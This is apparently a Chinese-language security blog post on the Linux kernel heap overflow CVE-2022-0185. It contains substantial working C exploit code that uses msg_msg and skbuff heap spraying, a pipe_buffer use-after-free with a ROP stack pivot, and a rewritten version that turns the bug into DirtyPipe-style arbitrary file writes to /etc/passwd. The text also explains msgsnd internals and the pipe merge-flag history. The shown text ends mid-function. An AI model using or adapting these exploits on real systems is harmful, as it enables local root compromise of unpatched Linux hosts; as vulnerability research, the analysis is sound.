uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
struct msg_msg *p = (struct msg_msg *)oob_data;
if (((int *)&p->mtext)[0] != MSG_SIG) {
logd("[-] I don't think this can happen\n");
die();
}
heap_buffer_addr = p->m_list.next + sizeof(struct msg_msg);
logd("[+] heap_buffer_addr: 0x%lx\n", heap_buffer_addr);
if (strlen((char *)&heap_buffer_addr) < 8) {
logd("[-] pointer can't contain 0x00 bytes\n");
die();
}
}

// clean uncorrupted msg_msg
logd("[*] clean unused msg_msg ...\n");
clean_msq_2();

return 0;
}

int exploit_step2(int fd) {
char buff[0x1000];

logd("[*] prepare fsconfig heap overflow\n");
memset(buff, 0, sizeof(buff));
memset(buff, 'A', 0x100 - 2);
for (int i = 0; i < 0xf; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
memset(buff, 0, sizeof(buff));
memset(buff, 'B', 0x100 - 3);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

// alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
logd("[*] sparying msg_msg ...\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
memset(&msg_a, 0, sizeof(msg_a));
msg_a.mtype = MTYPE_A;
memset(msg_a.mtext, 'Q', sizeof(msg_a.mtext));
((int *)&msg_a.mtext)[0] = MSG_SIG;
((int *)&msg_a.mtext)[1] = i;
if (msgsnd(msqid_1[i], &msg_a, sizeof(msg_a.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}

// trigger oob write to overwrite msg_msg.next (hopes)
logd("[*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.next\n");
memset(buff, 0, sizeof(buff));
struct msg_msg *p = (struct msg_msg *)buff;
p->m_list.next = heap_buffer_addr;
p->m_list.prev = 0xdeadbeefdeadbeef;
p->m_type = MTYPE_A; // with '=' appended
fsconfig(fd, FSCONFIG_SET_STRING, buff, "\x00", 0);

// free uaf msg_msg
logd("[*] free uaf msg_msg from correct msqid\n");
if (msgrcv(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), list2_uaf_mtype, 0) < 0) {
logd("[-] msgrcv() fail\n");
die();
}

// spary skbuff_data to re-acquire uaf msg_msg and fake the header
logd("[*] spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg\n");
{
memset(buff, 0, sizeof(buff));
struct msg_msg *p = (struct msg_msg *)buff;
p->m_list.next = heap_buffer_addr + 0x80;
p->m_list.prev = heap_buffer_addr + 0x80;
p->m_ts = 0x100;
p->m_type = MTYPE_FAKE;
p->next = 0;
p->security = 0;
spray_skbuff_data(buff, 0x400 - 0x140);
}

// free uaf msg_msg
logd("[*] free skbuff_data using fake msqid\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
if (msgrcv(msqid_1[i], &msg_b, sizeof(msg_b.mtext), MTYPE_FAKE, IPC_NOWAIT) > 0) {
logd("[*] freed using msqid %d\n", i);
break;
}
}

// filled with pipe_buffer
logd("[*] spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data\n");
for (int i = 0; i < NUM_PIPES; i++) {
if (pipe(dummy_pipe[i])) {
logd("[-] Alloc pipe failed\n");
die();
}
write(dummy_pipe[i][1], buff, 0x100);
}

logd("[*] free skbuff_data to make pipe_buffer become UAF\n");
free_skbuff_data(buff, 0x400 - 0x140);

logd("[*] spray evil skbuff_data to re-acquire the 0x400 slab use by pipe_buffer\n");
logd("[*] overwrite pipe_buffer->ops ...\n");
{
memset(buff, 0, sizeof(buff));
uint64_t *p = (uint64_t *)buff;
p[0] = kbase + GADGET_stack_pivot2; // pivot again
p[1] = heap_buffer_addr + 0x180; // ROP offset
p[2] = heap_buffer_addr + 0x100; // hijack ops
*(uint64_t *)(buff + 0x39) = kbase + GADGET_stack_pivot2;
spray_skbuff_data(buff, 0x400 - 0x140);
}

logd("[*] trigger pipe ops->release() ...\n");
for (int i = 0; i < NUM_PIPES; i++) {
if (close(dummy_pipe[i][0]) < 0) {
logd("[-] close\n");
die();
}
if (close(dummy_pipe[i][1]) < 0) {
logd("[-] close\n");
die();
}
}

return 0;
}

int main(void) {
logd("[+] perform initialization\n");
init_unshare();
bind_cpu();
init_msq();
init_sock();
init_tf_work();

int fd;

fd = call_fsopen();
logd("[+] perform exploit step1\n");
while (exploit_step1(fd)) {
logd("[!] retry step1 ...\n");

close(fd);
fd = call_fsopen();
}

fd = call_fsopen();
logd("[+] perform exploit step2\n");
while (exploit_step2(fd)) {
logd("[!] retry step2 ...\n");

close(fd);
fd = call_fsopen();
}

return 0;
}

原作者的利用方法

方法1 - 利用msg_msg做任意地址写原语

方法来自原博客:https://www.willsroot.io/2022/01/cve-2022-0185.html

这还得先说说msgsnd的底层实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// `msgsnd`通过几层简单包装来到`do_msgsnd`

// >>> source/ipc/msg.c:963
/* 963 */ SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
/* 964 */ int, msgflg)
/* 965 */ {
/* 966 */ return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
/* 967 */ }

// >>> source/ipc/msg.c:953
/* 953 */ long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
/* 954 */ int msgflg)
/* 955 */ {
------
/* 960 */ return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
/* 961 */ }

// >>> source/ipc/msg.c:840
/* 840 */ static long do_msgsnd(int msqid, long mtype, void __user *mtext,
/* 841 */ size_t msgsz, int msgflg)
/* 842 */ {
------
// 调用`load_msg`
/* 856 */ msg = load_msg(mtext, msgsz);

// >>> source/ipc/msgutil.c:84
/* 84 */ struct msg_msg *load_msg(const void __user *src, size_t len)
/* 85 */ {
/* 86 */ struct msg_msg *msg;
/* 87 */ struct msg_msgseg *seg;
------
// 先alloc结构体
/* 91 */ msg = alloc_msg(len);
------
/* 95 */ alen = min(len, DATALEN_MSG);
// 调用`copy_from_user`写入第一个 msg_msg
/* 96 */ if (copy_from_user(msg + 1, src, alen))
/* 97 */ goto out_err;
/* 98 */
// 根据next指针找到下个seg
/* 99 */ for (seg = msg->next; seg != NULL; seg = seg->next) {
/* 100 */ len -= alen;
/* 101 */ src = (char __user *)src + alen;
/* 102 */ alen = min(len, DATALEN_SEG);
// 调用`copy_from_user`写入msg_msgseg
/* 103 */ if (copy_from_user(seg + 1, src, alen))
/* 104 */ goto out_err;
/* 105 */ }

// >>> source/ipc/msgutil.c:46
/* 46 */ static struct msg_msg *alloc_msg(size_t len)
/* 47 */ {
/* 48 */ struct msg_msg *msg;
------
/* 52 */ alen = min(len, DATALEN_MSG);
// 分配msg
/* 53 */ msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
------
/* 60 */ len -= alen;
/* 61 */ pseg = &msg->next;
/* 62 */ while (len > 0) {
/* 63 */ struct msg_msgseg *seg;
------
/* 67 */ alen = min(len, DATALEN_SEG);
// 分配seg
/* 68 */ seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
------
/* 71 */ *pseg = seg;
/* 72 */ seg->next = NULL;
/* 73 */ pseg = &seg->next;
/* 74 */ len -= alen;
/* 75 */ }

因此攻击者可以使用用户态的page fault黑魔法(例如userfaultfdFUSE),在第一次copy_from_user时卡住,然后利用这个漏洞的OOB write修改msg_msg的next指针,从而在下一次copy_from_user做到任意地址写,写的对象可以是modprobe_pathcore_pattern

需要注意的是,新版本对userfaultfd进行了加强,没有SYS_PTRACE权限的程序无法调用,所以只能用FUSE

方法2 - 用unlink改ops

直接看原文后半段或者看作者的exploit(懒了,躺

https://www.willsroot.io/2022/01/cve-2022-0185.html

https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_kctf.c

真•正文 - 新型利用原语: pipe

这两天DirtyPipe(CVE-2022-0847)闹得沸沸扬扬,我想大家都已经详细了解过了这个漏洞的成因和利用方式。这个洞之所以牛逼,是因为它利用过程中不涉及对kernel地址的依赖,有点逻辑洞的味道,因此想要攻击存在这个漏洞的内核,并不需要像某些内核洞那样使用ROP等方式,修复kernel中的gadget的偏移位置。

随着这个DirtyPipe的修复,这个漏洞的影响难道就到此为止了吗?

不,比起DirtyPipe漏洞本身,我认为这个漏洞带来的真正宝藏还未被人察觉,它就是正隐藏在其背后的原语

如果我们拿到了一个内核heap的UAF或其他漏洞,并能够将其转化为对struct pipe_buffer的损坏,我们何必传统地去通过leak ops拿到kernel base,再通过修改ops做ROP(我的exp和原作者第二种方法),或是找到modprobe_path和core_pattern的偏移地址(作者第一种方法)?

为什么不直接修改它的flags,从而让UAF转化为DirtyPipe?这样不是可以轻松做到任意文件写且不涉及内核地址吗?

这里需要简单提一下pipe的历史。

最早的时候,是否能够merge并不是通过struct pipe_buffer中的flags字段来管理,而是通过struct pipe_buf_operations 中的can_merge字段来判断。因此在splice被加入linux时,splice提供了一个新的pipe_buf_operations page_cache_pipe_buf_ops ,如下:

1
2
3
4
5
6
static struct pipe_buf_operations page_cache_pipe_buf_ops = {
.can_merge = 0,
.map = page_cache_pipe_buf_map,
.unmap = page_cache_pipe_buf_unmap,
.release = page_cache_pipe_buf_release,
};

其中can_merge字段默认就是0,这就解释了为什么在copy_page_to_iter_pipe中不存在对flags的设置逻辑,因为只需要修改fops到page_cache_pipe_buf_ops就可以了。

之后在2016年的一个commit中 commit 241699cd72a8 “new iov_iter flavour: pipe-backed” (Linux 4.9, 2016),添加了两个函数,其中一个就是copy_page_to_iter_pipe,里面对pipe_buffer的flags没有进行初始化,但现在还没出什么大问题,因为此时can_merge参数还在fops中,且flags中也没有什么有趣的选项。

时间来到2019年,Commit 01e7187b4119 “pipe: stop using ->can_merge” (Linux 5.0, 2019)中开始对can_merge字段下手了,但这个时候操刀还比较暴力,除了把所有使用所有fops中的can_merge字段删除外,还增加了一个函数叫pipe_buf_can_merge,可能是发现除了匿名管道外,所有的管道都不支持merge,所以只要判断一下fops是不是anon_pipe_buf_ops就行了。到目前为止,merge操作和16年的未初始化bug还没挂钩。

1
2
3
4
static bool pipe_buf_can_merge(struct pipe_buffer *buf)
{
return buf->ops == &anon_pipe_buf_ops;
}

终于,在2020年,可能还是感觉这种判断太过于暴力,于是把merge操作的判断塞进了pipe_buffer的flags中:Commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops” (Linux 5.8, 2020) 。16年埋下的bug终于在4年后变成了漏洞。

有人可能会说,DirtyPipe这个洞只有在5.8以上的内核上才能使用,那么你的把UAF转化为DirtyPipe的思路,是不是也只能用于5.8以上的内核呢?

不,只要splice能用,这个思路就能用。

老版本中将can_merge放在ops中没有关系,我们先用OOB read把anon_pipe_buf_ops地址读出来,再在splice后将ops改为anon_pipe_buf_ops不也是一样的嘛,这样虽然用到了内核地址,但不涉及偏移计算,所以也不需要进行版本适配。

下面我简单把CVE-2022-0185用这个DirtyPipe原语重写一下,这份Exploit中不再需要对内核版本适配(但由于GFP_KERNEL_ACCOUNT的限制,需要>5.9)

  • exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

#define logd(fmt, ...) fprintf(stderr, (fmt), ##__VA_ARGS__)
#define NUM_MSQIDS_1 (0x400)
#define NUM_MSQIDS_2 (0x400)
#define MSG_A_RAW_SIZE (0x1400 - 0x8)
#define MSG_A_BUFF_SIZE (MSG_A_RAW_SIZE - sizeof(struct msg_msg))
#define MSG_B_RAW_SIZE (0x400)
#define MSG_B_BUFF_SIZE (MSG_B_RAW_SIZE - sizeof(struct msg_msg))
#define MTYPE_A (0x41)
#define MTYPE_B (0x42)
#define MTYPE_FAKE (0x43)
#define MSG_SIG (0x13371337)
#define NUM_PIPES (0x100)
#define NUM_SOCKETS (4)
#define NUM_SKBUFFS (0x80)

struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
char mtext[0];
};

struct msg_msgseg {
uint64_t next;
};

struct typ_msg_a {
long mtype;
char mtext[MSG_A_BUFF_SIZE];
};

struct typ_msg_a_oob {
long mtype;
char mtext[MSG_A_BUFF_SIZE + 0x400];
};

struct typ_msg_b {
long mtype;
char mtext[MSG_B_BUFF_SIZE];
};

int sockfd;
int sock_pairs[NUM_SOCKETS][2];
int msqid_1[NUM_MSQIDS_1];
int msqid_2[NUM_MSQIDS_2];
struct typ_msg_a msg_a = {0};
struct typ_msg_a_oob msg_a_oob = {0};
struct typ_msg_b msg_b = {0};
int list1_corrupted_msqid = -1;
int list2_leak_msqid = -1;
int list2_leak_mtype = 0;
uint64_t list2_uaf_msg_addr = 0;
int list2_uaf_mtype = 0;
uint64_t heap_buffer_addr = 0;
int dummy_pipe[NUM_PIPES][2];

void z() {
logd("waiting...\n");
getchar();
}

void die() {
exit(1);
}

void hexdump(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
logd("%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
logd(" ");
if ((i + 1) % 16 == 0) {
logd("| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
logd(" ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
logd(" ");
}
logd("| %s \n", ascii);
}
}
}
}

void init_unshare() {
int fd;
char buff[0x100];

// strace from `unshare -Ur xxx`
unshare(CLONE_NEWNS | CLONE_NEWUSER);

fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getuid());
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getgid());
write(fd, buff, strlen(buff));
close(fd);
}

void init_msq() {
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msqid_1[i] < 0) {
logd("[-] msgget() fail\n");
die();
}
}
for (int i = 0; i < NUM_MSQIDS_2; i++) {
msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msqid_2[i] < 0) {
logd("[-] msgget() fail\n");
die();
}
}
}

void init_sock() {
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
logd("[-] socket() fail\n");
die();
}

for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) {
logd("[-] socketpair() fail\n");
die();
}
}
}

void clean_msq_1() {
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msgrcv(msqid_1[i], &msg_a, sizeof(msg_a.mtext), MTYPE_A, IPC_NOWAIT);
}
}

void clean_msq_2() {
for (int i = 0; i < NUM_MSQIDS_2; i++) {
for (int j = 0; j < 0x10; j++) {
msgrcv(msqid_2[i], &msg_b, sizeof(msg_b.mtext), MTYPE_B | (j << 8), IPC_NOWAIT);
}
}
}

void clean_pipe() {
for (int i = 0; i < NUM_PIPES; i++) {
char buffer[0x100];
read(dummy_pipe[i][0], buffer, 0x100);
close(dummy_pipe[i][0]);
close(dummy_pipe[i][1]);
}
}

void bind_cpu() {
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) {
perror("sched_setaffinity");
die();
}
}

int call_fsopen() {
int fd = fsopen("ext4", 0);
if (fd < 0) {
perror("fsopen");
die();
}
return fd;
}

void spray_skbuff_data(void *ptr, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(sock_pairs[i][0], ptr, size) < 0) {
logd("[-] write to sock pairs failed\n");
die();
}
}
}
}

void free_skbuff_data(void *ptr, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(sock_pairs[i][1], ptr, size) < 0) {
logd("[-] read from sock pairs failed\n");
die();
}
}
}
}

uint64_t exploit_step1(int fd) {
char buff[0x1000];

/**
* padding ctx->legacy_data to
* ------
* 0x0FE0: BBBB BBBB - BBBB BBBB
* 0x0FF0: BBBB BBBB - BBBB BBB?
* 0x1000: ???? ???? - ???? ????
*
* so next write will overwrite next page,
* ------
* 0x0FF0: BBBB BBBB - BBBB BBB,
* 0x1000: =XXX XXXX - XXXX XXXX
*/
logd("[*] prepare fsconfig heap overflow\n");
memset(buff, 0, sizeof(buff));
memset(buff, 'A', 0x100 - 2);
for (int i = 0; i < 0xf; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
memset(buff, 0, sizeof(buff));
memset(buff, 'B', 0x100 - 3);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

// alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
logd("[*] sparying msg_msg ...\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
memset(&msg_a, 0, sizeof(msg_a));
msg_a.mtype = MTYPE_A;
memset(msg_a.mtext, 'Q', sizeof(msg_a.mtext));
((int *)&msg_a.mtext)[0] = MSG_SIG;
((int *)&msg_a.mtext)[1] = i;
if (msgsnd(msqid_1[i], &msg_a, sizeof(msg_a.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}

// trigger oob write to overwrite msg_msg.m_ts (hopes)
logd("[*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts\n");
memset(buff, 0, sizeof(buff));
strcat(buff, "0000000"); // m_list.next
strcat(buff, "11111111"); // m_list.prev
strcat(buff, "22222222"); // m_type
uint64_t target_size = sizeof(msg_a_oob.mtext);
memcpy(buff + strlen(buff), &target_size, 2);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

// recv from buffer to see if leak success
logd("[*] search corrupted msg_msg ...\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
ssize_t copy_size = msgrcv(msqid_1[i], &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if (copy_size < 0) {
continue;
}
if (copy_size == sizeof(msg_a_oob.mtext)) {
logd("[+] corrupted msg_msg found, id: %d\n", msqid_1[i]);
list1_corrupted_msqid = msqid_1[i];
msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
if (memcmp(&oob_data[1], "QQQQQQQQ", 8)) { // 'QQQQQQQQ'
logd("[!] but the next object is not allocated by msg_msgseg\n");
}
break;
}
}
if (list1_corrupted_msqid < 0) {
logd("[!] can't found corrupted msg_msg, and kernel may crash :(\n");
clean_msq_1();
return 1;
}

// clean uncorrupted msg_msg
logd("[*] clean unused msg_msg ...\n");
clean_msq_1();

// realloc 0x400 slab with msg_msg
logd("[*] alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...\n");
for (int i = 0; i < NUM_MSQIDS_2; i++) {
memset(&msg_b, 0, sizeof(msg_b));
memset(msg_b.mtext, 'W', sizeof(msg_b.mtext));
((int *)&msg_b.mtext)[0] = MSG_SIG;
((int *)&msg_b.mtext)[1] = i;
for (int j = 0; j < 0x10; j++) {
msg_b.mtype = MTYPE_B | (j << 8);
if (msgsnd(msqid_2[i], &msg_b, sizeof(msg_b.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}
}

// hope leak happen
{
ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) {
logd("[-] recv from corrupted msg_msg failed\n");
die();
}
uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
struct msg_msg *p = (struct msg_msg *)oob_data;
if (((int *)&p->mtext)[0] != MSG_SIG) {
logd("[-] bad luck, we don't catch 0x400 msg_msg\n");
clean_msq_2();
return 1;
}
logd("[*] it works :)\n");

list2_leak_msqid = msqid_2[((int *)&p->mtext)[1]];
list2_leak_mtype = p->m_type;
list2_uaf_msg_addr = p->m_list.prev;
list2_uaf_mtype = p->m_type - 0x0100;
msqid_2[((int *)&p->mtext)[1]] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
hexdump(msg_a_oob.mtext + sizeof(msg_a.mtext), 0x40);
logd("[+] leak list2_leak_msqid: %d\n", list2_leak_msqid);
logd("[+] leak list2_leak_mtype: 0x%x\n", list2_leak_mtype);
logd("[+] leak list2_uaf_msg_addr: 0x%lx\n", list2_uaf_msg_addr);
logd("[+] leak list2_uaf_mtype: 0x%x\n", list2_uaf_mtype);
}

logd("[*] alloc msg_msg as heap buffer with known address\n");
{
for (int j = ((list2_leak_mtype + 0x100) >> 8); j < 0x10; j++) {
msgrcv(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), MTYPE_B | (j << 8), IPC_NOWAIT);
}
memset(buff, 0, sizeof(buff));
struct msg_msg *p = (struct msg_msg *)buff;
p->m_list.next = list2_uaf_msg_addr;
p->m_list.prev = 0xdeadbeefdeadbeef;
p->m_type = MTYPE_A;

uint64_t *p2;

// unlink next / prev
p2 = (uint64_t *)(buff + 0x80);
*p2++ = heap_buffer_addr; // +0x80
*p2++ = heap_buffer_addr; // +0x88

memset(&msg_b, 0, sizeof(msg_b));
memcpy(msg_b.mtext, buff, sizeof(msg_b.mtext));
msg_b.mtype = MTYPE_B;
if (msgsnd(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}

logd("[*] fetch heap_buffer address by oob read again\n");
{
ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) {
logd("[-] Recv from corrupted msg_msg failed\n");
die();
}
uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
struct msg_msg *p = (struct msg_msg *)oob_data;
if (((int *)&p->mtext)[0] != MSG_SIG) {
logd("[-] I don't think this can happen\n");
die();
}
heap_buffer_addr = p->m_list.next + sizeof(struct msg_msg);
logd("[+] heap_buffer_addr: 0x%lx\n", heap_buffer_addr);
if (strlen((char *)&heap_buffer_addr) < 8) {
logd("[-] pointer can't contain 0x00 bytes\n");
die();
}
}

// clean uncorrupted msg_msg
logd("[*] clean unused msg_msg ...\n");
clean_msq_2();

return 0;
}

int exploit_step2(int fd) {
char buff[0x1000];

logd("[*] prepare fsconfig heap overflow\n");
memset(buff, 0, sizeof(buff));
memset(buff, 'A', 0x100 - 2);
for (int i = 0; i < 0xf; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
memset(buff, 0, sizeof(buff));
memset(buff, 'B', 0x100 - 3);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

// alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
logd("[*] sparying msg_msg ...\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
memset(&msg_a, 0, sizeof(msg_a));
msg_a.mtype = MTYPE_A;
memset(msg_a.mtext, 'Q', sizeof(msg_a.mtext));
((int *)&msg_a.mtext)[0] = MSG_SIG;
((int *)&msg_a.mtext)[1] = i;
if (msgsnd(msqid_1[i], &msg_a, sizeof(msg_a.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}

// trigger oob write to overwrite msg_msg.next (hopes)
logd("[*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.next\n");
memset(buff, 0, sizeof(buff));
struct msg_msg *p = (struct msg_msg *)buff;
p->m_list.next = heap_buffer_addr;
p->m_list.prev = 0xdeadbeefdeadbeef;
p->m_type = MTYPE_A; // with '=' appended
fsconfig(fd, FSCONFIG_SET_STRING, buff, "\x00", 0);

// free uaf msg_msg
logd("[*] free uaf msg_msg from correct msqid\n");
if (msgrcv(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), list2_uaf_mtype, 0) < 0) {
logd("[-] msgrcv() fail\n");
die();
}

// spary skbuff_data to re-acquire uaf msg_msg and fake the header
logd("[*] spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg\n");
{
memset(buff, 0, sizeof(buff));
struct msg_msg *p = (struct msg_msg *)buff;
p->m_list.next = heap_buffer_addr + 0x80;
p->m_list.prev = heap_buffer_addr + 0x80;
p->m_ts = 0x100;
p->m_type = MTYPE_FAKE;
p->next = 0;
p->security = 0;
spray_skbuff_data(buff, 0x400 - 0x140);
}

// free uaf msg_msg
logd("[*] free skbuff_data using fake msqid\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
if (msgrcv(msqid_1[i], &msg_b, sizeof(msg_b.mtext), MTYPE_FAKE, IPC_NOWAIT) > 0) {
logd("[*] freed using msqid %d\n", i);
break;
}
}

// filled with pipe_buffer
logd("[*] spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data\n");
int passwd = open("/etc/passwd", O_RDONLY);
if (passwd < 0) {
perror("open passwd");
die();
}
for (int i = 0; i < NUM_PIPES; i++) {
if (pipe(dummy_pipe[i])) {
logd("[-] Alloc pipe failed\n");
die();
}

const unsigned pipe_size = fcntl(dummy_pipe[i][1], F_GETPIPE_SZ);
static char tmp_buff[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
